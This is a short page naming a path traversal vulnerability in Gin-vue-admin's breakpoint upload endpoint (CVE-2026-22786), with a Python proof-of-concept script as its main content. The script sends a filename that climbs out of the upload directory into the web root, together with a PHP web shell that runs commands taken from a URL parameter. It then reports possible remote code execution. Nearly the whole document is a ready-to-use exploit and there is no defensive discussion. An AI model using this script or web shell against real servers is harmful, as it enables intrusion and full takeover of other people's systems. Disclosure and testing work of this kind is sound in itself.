CVE-2026-22786 Gin-vue-admin路径遍历漏洞导致任意文件上传

import requests # CVE-2026-22786 Path Traversal PoC for Gin-vue-admin # Target: /fileUploadAndDownload/breakpointContinueFinish target_url = "http://target-server/api/fileUploadAndDownload/breakpointContinueFinish" # Path traversal payload to write file to arbitrary directory malicious_filename = "../../../var/www/html/shell.php" payload = { "fileName": malicious_filename } # Malicious PHP shell content files = { "file": ("test.txt", "<?php system($_GET['cmd']); ?>", "text/plain") } try: response = requests.post(target_url, data=payload, files=files, timeout=10) print(f"Status Code: {response.status_code}") print(f"Response: {response.text}") # Verify file creation if response.status_code == 200: print(f"[+] File uploaded via path traversal: {malicious_filename}") print("[+] Target may be vulnerable to RCE via uploaded webshell") except requests.exceptions.RequestException as e: print(f"[-] Request failed: {e}")